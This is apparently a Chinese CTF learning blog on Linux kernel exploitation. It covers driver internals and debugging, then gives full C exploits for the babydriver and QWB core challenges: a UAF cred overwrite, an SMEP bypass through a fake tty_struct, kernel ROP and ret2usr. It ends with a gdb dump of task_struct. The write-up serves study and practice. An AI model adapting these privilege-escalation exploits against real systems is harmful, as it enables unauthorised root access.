LinuxKernel初识

前言:

kernel算是glibcvirtual之间的过渡吧,想学好虚拟化,内核基础必须要扎实,所以这一部分花的时间也算挺长的。但收获也确实很大。记录下自己从零开始大概两周时间的学习内容。

pwn中kernel题的常规套路:

给三个东西:start.shrootfs.cpiobzImage

extract-vmlinux.sh脚本提取出vmlinux===> command: ./extract-vmlinux.sh ./bzImage > vmlinux,需要注意的是这样提取出来的vmlinux是无符号表的,所以无法用offset = hex(vmlinux.sym['func_name'] - raw_vmlinux_base)来寻找某个函数的相对偏移。

ropper提取出vmlinux中的gadgets ===> command: ropper --file ./vmlinux --nocolor > gadgets 大约两分半可以跑完。

然后解包rootfs.cpio后查看init文件一般会将漏洞模块加载到内核中去。我们把这个ko文件取出来放进ida逆向,寻找漏洞,之后调试也大部分是调试漏洞模块中的自定义函数。

其实说白了,我个人觉得,ko文件就等同于是glibcpwn中的binary文件,vmlinux就等同于是glibcpwn中的libc。跟glibcpwn中的binary文件加载后的基址,libc加载后的基址一样,ko文件加载后的基址,vmlinux加载后的基址也同样非常地重要,也很容易理解。。。因为有了基址才有了一切functionsgadgets的地址,才可以劫持执行流。

所以。。。怎样泄露基址是一个关键点。

前置知识:

对一些重要结构体和函数的理解:

FOP( File_Operations )

这个结构体和之后的函数是理解为什么我们在exp调用open/close/read/write这些系统调用时内核就会调用内核模块中的自定义函数的关键点。

源码如下:不同版本的内核,结构与成员不同,需自己查阅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, bool spin);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
unsigned long mmap_supported_flags;
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **, void **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned (*mmap_capabilities)(struct file *);
#endif
ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
loff_t, size_t, unsigned int);
loff_t (*remap_file_range)(struct file *file_in, loff_t pos_in,
struct file *file_out, loff_t pos_out,
loff_t len, unsigned int remap_flags);
int (*fadvise)(struct file *, loff_t, loff_t, int);
} __randomize_layout;

Linux使用File_Operations结构访问驱动程序的函数,这个结构的每一个成员的名字都对应着一个调用。

用户进程利用在对设备文件进行诸如open/close/read/write操作的时候,系统调用通过设备文件的主设备号找到相应的设备驱动程序,然后读取这个数据结构相应的函数指针,接着把控制权交给该函数,这是Linux的设备驱动程序工作的基本原理。

proc_create创建文件:

proc_create函数会在/proc目录下创建一个虚拟文件,之后我们可用自定义的fop与其绑定,然后我们就可通过对这个虚拟文件的操作来调用自定义的内核模块函数了。等于打通了内核态和用户态的交互。

比如说一个驱动程序在init中执行了proc_create("core", 0x1B6LL, 0LL, &core_fops),文件名是core,而且在core_fops中绑定了自定义的ioctl,那么其他用户程序就可以先fopen这个core获取文件指针fd,然后执行ioctl(fd,<参数>,<参数>)来进行对自定义ioctl的调用,其他的fop中的回调接口函数也类似。

kptr_restrictdmesg_restrict

  • 在Linux内核漏洞利用中常常使用commit_credsprepare_kernel_cred来完成提权(这两个函数可以存在于vmlinux中,可以类比于libc中的库函数)它们的地址可以从/proc/kallsyms中读取。将/proc/sys/kernel/kptr_restrict设置为1可阻止通过这种方式泄露内核地址。(默认就是设为1,只有root用户可查看)
  • dmesg命令可以显示内核的环形缓冲区信息,kprintf打印的信息都可以用此命令查看,将/proc/sys/kernel/dmesg_restrict设为1可限制非root用户无法读dmesg(Restrict unprivileged access to kernel syslog)。

关于基址:

1
2
3
4
5
6
7
8
9
10
11
12
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'

几个量:

raw_vmlinux_base0xffffffff81000000 ===> vmlinux静态文件中的基址,可直接查看。

func_offsetvmlinux.sym['func_name'] - raw_vmlinux_base ===> vmlinuxfunc函数相对文件开头的偏移。这个vmlinux必须得有符号表,自己导出的不可。

动态运行时函数与基址的关系:vmlinux_base = func_addr - func_offset

vmlinux_basefunc_addr需要通过漏洞来泄露其中一个,当然能直接看那就无所谓了orz。

关于gdb+qemu调试:

至于在文件系统里怎么写就不细说了,网上都找的到的。。。加个-s即可(-gdb tcp::1234的缩写)-S看习惯,是让qemu在最开始卡住。

我自己的常规流程:

qemu内:

  • 启动,这时是root用户
  • 查看加载的ko模块的基址
  • 切换到普通用户,假装什么都没发生

qemu外,gdb内:

  • gdb -q ./vmlinux
  • add-symbol-file ./xxxx/ko ko模块基址
  • b 模块函数
  • target remote localhost:1234/:1234
  • c

qemu内:

  • 运行exp

qemu外,gdb内:

  • 会卡在之前断下的函数的入口,然后按自己想下断点的地方继续下断点调试。

确定ko模块基址:

就像我之前说的,ko文件就是binary文件,vmlinux就相当于libc文件。

所以知道ko文件在内核空间的地址是一件很重要的事情,没有这个地址的话我们将无法运行add-symbols-file ./your_module.ko 0xffffffffxxxxxxxx命令来加载模块的符号表,也就没法在模块自定义函数下断点,也就是没法调试。

查看这个地址有很多办法:

  • cat /sys/module/your_module/sections/.text
  • cat /proc/modules
  • lsmod

但是不幸的是都需要root权限才能查看。。。(lsmodroot情况下使用显示地址为全0。)

好在因为我们是在本地操作,所以我们可以先在文件系统的init文件里将setuidgid 1000 /bin/sh改为setuidgid 0 /bin/sh,就可以以root用户启动qemu,我们查看到ko基址之后再切换到普通用户即可,所有的用户的所有信息在/etc/passwd下都可看到,可自己查看,一般都有一个普通用户(uid = 1000),一个root用户(uid = 0)。我们在root用户时输入:su - 普通用户的名字即可切换到普通用户,之后就可以装作是以普通用户登录的一样来搞事情,测试exp等。。。

2017CSICN_babydriver:

还是以学习知识为主,做题为此要,基础扎实最重要。

init里先注册了一个字符设备文件: babydev

关于编写字符设备驱动一系列函数可参考:

https://zhuanlan.zhihu.com/p/73974707

https://www.jianshu.com/p/3c917de2925c

https://www.jianshu.com/p/1a18267bc00e

https://www.jianshu.com/p/767f75efc495

https://blog.csdn.net/tanyjin/article/details/51705530

解法一:

UAF

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(){

int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0xa8);
close(fd1);

int id = fork();
if(id < 0){
puts("[:(]fork error!!!");
exit(0);
}
else if(id == 0){
char buf[30] = {0};
write(fd2,buf,28);

if(getuid() == 0){
puts("[:)]root now!!!");
system("/bin/sh");
exit(0);
}
}
else{
wait(NULL);
}
close(fd2);

return 0;
}

解法二:

By pass Smep & ret2usr

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pty.h>
#include <sys/ipc.h>
#include <sys/sem.h>

size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t commit_creds = 0xffffffff810a1420;

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

void get_root(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(0);
}
}


int main(){
save();

int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0);
close(fd1);

size_t mov_cr4 = 0xFFFFFFFF810635B4; //mov cr4,rdi;pop rbp;retn;
size_t mov_rsp = 0xFFFFFFFF8181BFC5; //mov rsp,rax;dec ebx;ret;
size_t swapgs = 0xffffffff81063694; //swapgs;pop rbp;ret;
size_t pop_rdi = 0xffffffff810d238d; //pop rdi;ret;
size_t iretq = 0xffffffff814e35ef; //iretq;ret;
size_t pop_rsp = 0xffffffff81171045; //pop rsp;ret;

size_t ropchain[30] = {0};
int i = 0;
ropchain[i++] = pop_rdi;
ropchain[i++] = 0x6f0;
ropchain[i++] = mov_cr4;
ropchain[i++] = 0;
ropchain[i++] = (size_t)get_root;
ropchain[i++] = swapgs;
ropchain[i++] = 0;
ropchain[i++] = iretq;
ropchain[i++] = (size_t)get_shell;
ropchain[i++] = user_cs;
ropchain[i++] = user_rflags;
ropchain[i++] = user_rsp;
ropchain[i++] = user_ss;

size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[32] = {0};
fake_tty_operations[0] = pop_rsp;
fake_tty_operations[1] = (size_t)ropchain;
fake_tty_operations[7] = mov_rsp;

int fd_tty = open("/dev/ptmx",2);
read(fd2,fake_tty_struct,0x20);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2,fake_tty_struct,0x20);

char buf[8] = {0};
write(fd_tty,buf,8);

return 0;
}

2018强网杯_core:

解法一:

kernel space ROP

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <string.h>

size_t vmlinux_base = 0;
size_t commit_creds_addr = 0;
size_t prepare_kernel_cred_addr = 0;

void get_symbols(){
FILE* fp = fopen("/tmp/kallsyms","r");

if(fp < 0){
puts("[:(]Open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, fp)){
if(commit_creds_addr & prepare_kernel_cred_addr){
break;
}

if(strstr(buf,"commit_creds") && !commit_creds_addr){
char addr1[20] = {0};
strncpy(addr1,buf,16);
sscanf(addr1,"%llx",&commit_creds_addr);
printf("[:)]commit_creds addr = %p\n",commit_creds_addr);
}

if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred_addr){
char addr2[20] = {0};
strncpy(addr2,buf,16);
sscanf(addr2,"%llx",&prepare_kernel_cred_addr);
printf("[:)]prepare_kernel_cred addr = %p\n",prepare_kernel_cred_addr);
vmlinux_base = prepare_kernel_cred_addr - 0x9cce0;
printf("[:)]vmlinux_base = %p\n",vmlinux_base);
}
}

if(!(commit_creds_addr & prepare_kernel_cred_addr)){
puts("[:(]Don't find!!!");
exit(0);
}

fclose(fp);
}

size_t user_ss,user_cs,user_rflags,user_rsp;
void save(){
__asm__(
"mov user_ss,ss;"
"mov user_cs,cs;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Status has been saved!!!");

}

void get_shell(){
if(getuid() == 0){
puts("[:)]root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]get root failed...");
exit(0);
}
}

void set_offset(int fd, size_t offset){
ioctl(fd,0x6677889C,offset);
puts("[:)]Set offset!!!");
}

void Read(int fd, char buf[]){
ioctl(fd,0x6677889B,buf);
puts("[:)]Read!!!");
}

void copy_func(int fd, signed long long size){
ioctl(fd,0x6677889A,size);
puts("[:)]Copy_data!!!");
}

int main(){
save();
get_symbols();

int fd = open("/proc/core",2);
if(fd < 0){
puts("[:(]Open /proc/core failed!!!");
exit(0);
}

set_offset(fd, 0x40);
char buf[0x40] = {0};
Read(fd, buf);
size_t canary = *(size_t *)buf;
printf("[:)]Canary = %llx\n",canary);

size_t ropchain[100] = {0};

size_t pop_rdi = vmlinux_base + (0xffffffff81000b2f-0xffffffff81000000);
size_t mov_call = vmlinux_base + (0xffffffff8101aa6a-0xffffffff81000000); //0xffffffff8101aa6a: mov rdi, rax; call rdx;
size_t pop_rdx = vmlinux_base + (0xffffffff810a0f49-0xffffffff81000000);
size_t pop_rcx = vmlinux_base + (0xffffffff81021e53-0xffffffff81000000);
size_t swapgs = vmlinux_base + (0xffffffff81a012da-0xffffffff81000000); //: swapgs; popfq; ret;
size_t iretq = vmlinux_base + (0xffffffff81050ac2-0xffffffff81000000); //: iretq; ret;

int i = 0;
for(i = 0;i < 8;i++){
ropchain[i] = 0;
}

ropchain[i++] = canary;
ropchain[i++] = 0;
ropchain[i++] = pop_rdi;
ropchain[i++] = 0;
ropchain[i++] = prepare_kernel_cred_addr;

ropchain[i++] = pop_rdx;
ropchain[i++] = pop_rcx;
ropchain[i++] = mov_call;
ropchain[i++] = commit_creds_addr;

ropchain[i++] = swapgs;
ropchain[i++] = 0;
ropchain[i++] = iretq;

ropchain[i++] = (size_t)get_shell;
ropchain[i++] = user_cs;
ropchain[i++] = user_rflags;
ropchain[i++] = user_rsp;
ropchain[i++] = user_ss;

write(fd,ropchain,0x800);
copy_func(fd,0xffffffffffff0000|0x0100);

return 0;
}

/*
>>> hex(p.sym['commit_creds']-0xffffffff81000000)
'0x9c8e0'
>>> hex(p.sym['prepare_kernel_cred']-0xffffffff81000000)
'0x9cce0'
*/

解法二:

ret2usr

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <string.h>

size_t vmlinux_base = 0;
size_t commit_creds_addr = 0;
size_t prepare_kernel_cred_addr = 0;

void get_symbols(){
FILE* fp = fopen("/tmp/kallsyms","r");

if(fp < 0){
puts("[:(]Open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, fp)){
if(commit_creds_addr & prepare_kernel_cred_addr){
break;
}

if(strstr(buf,"commit_creds") && !commit_creds_addr){
char addr1[20] = {0};
strncpy(addr1,buf,16);
sscanf(addr1,"%llx",&commit_creds_addr);
printf("[:)]commit_creds addr = %p\n",commit_creds_addr);
}

if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred_addr){
char addr2[20] = {0};
strncpy(addr2,buf,16);
sscanf(addr2,"%llx",&prepare_kernel_cred_addr);
printf("[:)]prepare_kernel_cred addr = %p\n",prepare_kernel_cred_addr);
vmlinux_base = prepare_kernel_cred_addr - 0x9cce0;
printf("[:)]vmlinux_base = %p\n",vmlinux_base);
}
}

if(!(commit_creds_addr & prepare_kernel_cred_addr)){
puts("[:(]Don't find!!!");
exit(0);
}

fclose(fp);
}

size_t user_ss,user_cs,user_rflags,user_rsp;
void save(){
__asm__(
"mov user_ss,ss;"
"mov user_cs,cs;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Status has been saved!!!");

}

void get_root(){
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}

void get_shell(){
if(getuid() == 0){
puts("[:)]root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]get root failed...");
exit(0);
}
}

void set_offset(int fd, size_t offset){
ioctl(fd,0x6677889C,offset);
puts("[:)]Set offset!!!");
}

void Read(int fd, char buf[]){
ioctl(fd,0x6677889B,buf);
puts("[:)]Read!!!");
}

void copy_func(int fd, signed long long size){
ioctl(fd,0x6677889A,size);
puts("[:)]Copy_data!!!");
}

int main(){
save();
get_symbols();

int fd = open("/proc/core",2);
if(fd < 0){
puts("[:(]Open /proc/core failed!!!");
exit(0);
}

set_offset(fd, 0x40);
char buf[0x40] = {0};
Read(fd, buf);
size_t canary = *(size_t *)buf;
printf("[:)]Canary = %llx\n",canary);

size_t ropchain[100] = {0};
size_t swapgs = vmlinux_base + (0xffffffff81a012da-0xffffffff81000000); //: swapgs; popfq; ret;
size_t iretq = vmlinux_base + (0xffffffff81050ac2-0xffffffff81000000); //: iretq; ret;

int i = 0;
for(i = 0;i < 8;i++){
ropchain[i] = 0;
}

ropchain[i++] = canary;
ropchain[i++] = 0;
ropchain[i++] = (size_t)get_root;

ropchain[i++] = swapgs;
ropchain[i++] = 0;
ropchain[i++] = iretq;

ropchain[i++] = (size_t)get_shell;
ropchain[i++] = user_cs;
ropchain[i++] = user_rflags;
ropchain[i++] = user_rsp;
ropchain[i++] = user_ss;

write(fd,ropchain,0x100);
copy_func(fd,0xffffffffffff0000|0x0100);

return 0;
}

/*
>>> hex(p.sym['commit_creds']-0xffffffff81000000)
'0x9c8e0'
>>> hex(p.sym['prepare_kernel_cred']-0xffffffff81000000)
'0x9cce0'
*/

2015CSAW_stringipc

即使有源码还是看了快一天,关于内核的知识了解的实在太少,不过做题本就是次要,积累知识才是现阶段的首要目的。

解法一:

写主线程的cred结构体

task_struct && thread_info && cred:

细节可参考:

https://blog.csdn.net/gatieme/article/details/51383272

我使用源码调试,在泄露了cred的地址之后,在内存中找到了完整的task_struct,并确定了一些重要变量的偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
gdb-peda$ p (struct task_struct)*0xffff88000f842980
$6 = {
state = 0x0,
stack = 0xffff88000f5f4000, //important
usage = {
counter = 0x2
},
flags = 0x404000,
ptrace = 0x0,
wake_entry = {
next = 0x0 <irq_stack_union>
},
on_cpu = 0x1,
wakee_flips = 0x18,
wakee_flip_decay_ts = 0xfffee692,
last_wakee = 0xffff88000d7ae7c0,
wake_cpu = 0x0,
on_rq = 0x1,
prio = 0x78,
static_prio = 0x78,
normal_prio = 0x78,
rt_priority = 0x0,
sched_class = 0xffffffff81a276a0 <fair_sched_class>,
se = {
load = {
weight = 0x400,
inv_weight = 0x400000
},
run_node = {
__rb_parent_color = 0x1,
rb_right = 0x0 <irq_stack_union>,
rb_left = 0x0 <irq_stack_union>
},
group_node = {
next = 0xffff88000de176e8,
prev = 0xffff88000de176e8
},
on_rq = 0x1,
exec_start = 0x30d1efc3f,
sum_exec_runtime = 0x7049fb2d,
vruntime = 0x781cf582,
prev_sum_exec_runtime = 0x5f2b1a44,
nr_migrations = 0x0,
statistics = {
wait_start = 0x0,
wait_max = 0x1c85687,
wait_count = 0xc,
wait_sum = 0x260560b,
iowait_count = 0x0,
iowait_sum = 0x0,
sleep_start = 0x0,
sleep_max = 0x0,
sum_sleep_runtime = 0x0,
block_start = 0x0,
block_max = 0x0,
exec_max = 0xdf59ea,
slice_max = 0x1cd26bd,
nr_migrations_cold = 0x0,
nr_failed_migrations_affine = 0x0,
nr_failed_migrations_running = 0x0,
nr_failed_migrations_hot = 0x0,
nr_forced_migrations = 0x0,
nr_wakeups = 0x0,
nr_wakeups_sync = 0x0,
nr_wakeups_migrate = 0x0,
nr_wakeups_local = 0x0,
nr_wakeups_remote = 0x0,
nr_wakeups_affine = 0x0,
nr_wakeups_affine_attempts = 0x0,
nr_wakeups_passive = 0x0,
nr_wakeups_idle = 0x0
},
depth = 0x1,
parent = 0xffff88000fa3d800,
cfs_rq = 0xffff88000fa3d600,
my_q = 0x0 <irq_stack_union>,
avg = {
last_update_time = 0x30d1efc3f,
load_sum = 0x2e0fef5,
util_sum = 0x2e0f67d,
period_contrib = 0x1a2,
load_avg = 0x3f3,
util_avg = 0x3f3
}
},
rt = {
run_list = {
next = 0xffff88000f842b68,
prev = 0xffff88000f842b68
},
timeout = 0x0,
watchdog_stamp = 0x0,
time_slice = 0x19,
back = 0x0 <irq_stack_union>
},
sched_task_group = 0xffff88000fa3d400,
dl = {
rb_node = {
__rb_parent_color = 0xffff88000f842ba0,
rb_right = 0x0 <irq_stack_union>,
rb_left = 0x0 <irq_stack_union>
},
dl_runtime = 0x0,
dl_deadline = 0x0,
dl_period = 0x0,
dl_bw = 0x0,
runtime = 0x0,
deadline = 0x0,
flags = 0x0,
dl_throttled = 0x0,
dl_new = 0x1,
dl_boosted = 0x0,
dl_yielded = 0x0,
dl_timer = {
node = {
node = {
__rb_parent_color = 0xffff88000f842c00,
rb_right = 0x0 <irq_stack_union>,
rb_left = 0x0 <irq_stack_union>
},
expires = {
tv64 = 0x0
}
},
_softexpires = {
tv64 = 0x0
},
function = 0xffffffff810c2bd0 <dl_task_timer>,
base = 0xffff88000de11440,
state = 0x0,
is_rel = 0x0
}
},
preempt_notifiers = {
first = 0x0 <irq_stack_union>
},
btrace_seq = 0x0,
policy = 0x0,
nr_cpus_allowed = 0x1,
cpus_allowed = {
bits = {0x1, 0xffffffffffffffff <repeats 127 times>}
},
sched_info = {
pcount = 0xc,
run_delay = 0x260560b,
last_arrival = 0x2fc001b56,
last_queued = 0x0
},
tasks = {
next = 0xffffffff81e13bf8 <init_task+1784>,
prev = 0xffff88000f844538
},
pushable_tasks = {
prio = 0x8c,
prio_list = {
next = 0xffff88000f843090,
prev = 0xffff88000f843090
},
node_list = {
next = 0xffff88000f8430a0,
prev = 0xffff88000f8430a0
}
},
pushable_dl_tasks = {
__rb_parent_color = 0xffff88000f8430b0,
rb_right = 0x0 <irq_stack_union>,
rb_left = 0x0 <irq_stack_union>
},
mm = 0xffff88000fa39f00, //important
active_mm = 0xffff88000fa39f00, //important
vmacache_seqnum = 0x0,
vmacache = {0xffff88000fa6e9c0, 0xffff88000fa6ecc0, 0xffff88000fa6e900, 0xffff88000fa6eb40},
rss_stat = {
events = 0x18,
count = {0xb1, 0xb, 0x0}
},
exit_state = 0x0,
exit_code = 0x0,
exit_signal = 0x11,
pdeath_signal = 0x0,
jobctl = 0x0,
personality = 0x0,
sched_reset_on_fork = 0x0,
sched_contributes_to_load = 0x0,
sched_migrated = 0x0,
in_execve = 0x0,
in_iowait = 0x0,
memcg_may_oom = 0x0,
no_cgroup_migration = 0x0,
atomic_flags = 0x0,
restart_block = {
fn = 0xffffffff81090750 <do_no_restart_syscall>,
{
futex = {
uaddr = 0x0 <irq_stack_union>,
val = 0x0,
flags = 0x0,
bitset = 0x0,
time = 0x0,
uaddr2 = 0x0 <irq_stack_union>
},
nanosleep = {
clockid = 0x0,
rmtp = 0x0 <irq_stack_union>,
compat_rmtp = 0x0 <irq_stack_union>,
expires = 0x0
},
poll = {
ufds = 0x0 <irq_stack_union>,
nfds = 0x0,
has_timeout = 0x0,
tv_sec = 0x0,
tv_nsec = 0x0
}
}
},
pid = 0x7c,
tgid = 0x7c,
stack_canary = 0x2e1bb4e394e40bee, //important
real_parent = 0xffff88000f843e40,
parent = 0xffff88000f843e40,
children = {
next = 0xffff88000f843190,
prev = 0xffff88000f843190
},
sibling = {
next = 0xffff88000f844650,
prev = 0xffff88000f844650
},
group_leader = 0xffff88000f842980,
ptraced = {
next = 0xffff88000f8431b8,
prev = 0xffff88000f8431b8
},
ptrace_entry = {
next = 0xffff88000f8431c8,
prev = 0xffff88000f8431c8
},
pids = {{
node = {
next = 0x0 <irq_stack_union>,
pprev = 0xffff88000092cd88
},
pid = 0xffff88000092cd80
}, {
node = {
next = 0x0 <irq_stack_union>,
pprev = 0xffff88000092cd90
},
pid = 0xffff88000092cd80
}, {
node = {
next = 0xffff88000f8446c8,
pprev = 0xffff88000092ce98
},
pid = 0xffff88000092ce80
}},
thread_group = {
next = 0xffff88000f843220,
prev = 0xffff88000f843220
},
thread_node = {
next = 0xffff88000f8c1dd0,
prev = 0xffff88000f8c1dd0
},
vfork_done = 0x0 <irq_stack_union>,
set_child_tid = 0x7f49077a9a10,
clear_child_tid = 0x0 <irq_stack_union>,
utime = 0xb6,
stime = 0x10d,
utimescaled = 0xb6,
stimescaled = 0x10d,
gtime = 0x0,
prev_cputime = {
utime = 0x0,
stime = 0x0,
lock = {
raw_lock = {
val = {
counter = 0x0
}
}
}
},
nvcsw = 0x0,
nivcsw = 0xb,
start_time = 0x29a6ee377,
real_start_time = 0x29a6ee83a,
min_flt = 0x31,
maj_flt = 0x0,
cputime_expires = {
utime = 0x0,
stime = 0x0,
sum_exec_runtime = 0x0
},
cpu_timers = {{
next = 0xffff88000f8432e0,
prev = 0xffff88000f8432e0
}, {
next = 0xffff88000f8432f0,
prev = 0xffff88000f8432f0
}, {
next = 0xffff88000f843300,
prev = 0xffff88000f843300
}},
ptracer_cred = 0x0 <irq_stack_union>,
real_cred = 0xffff88000faa00c0, //This is our target
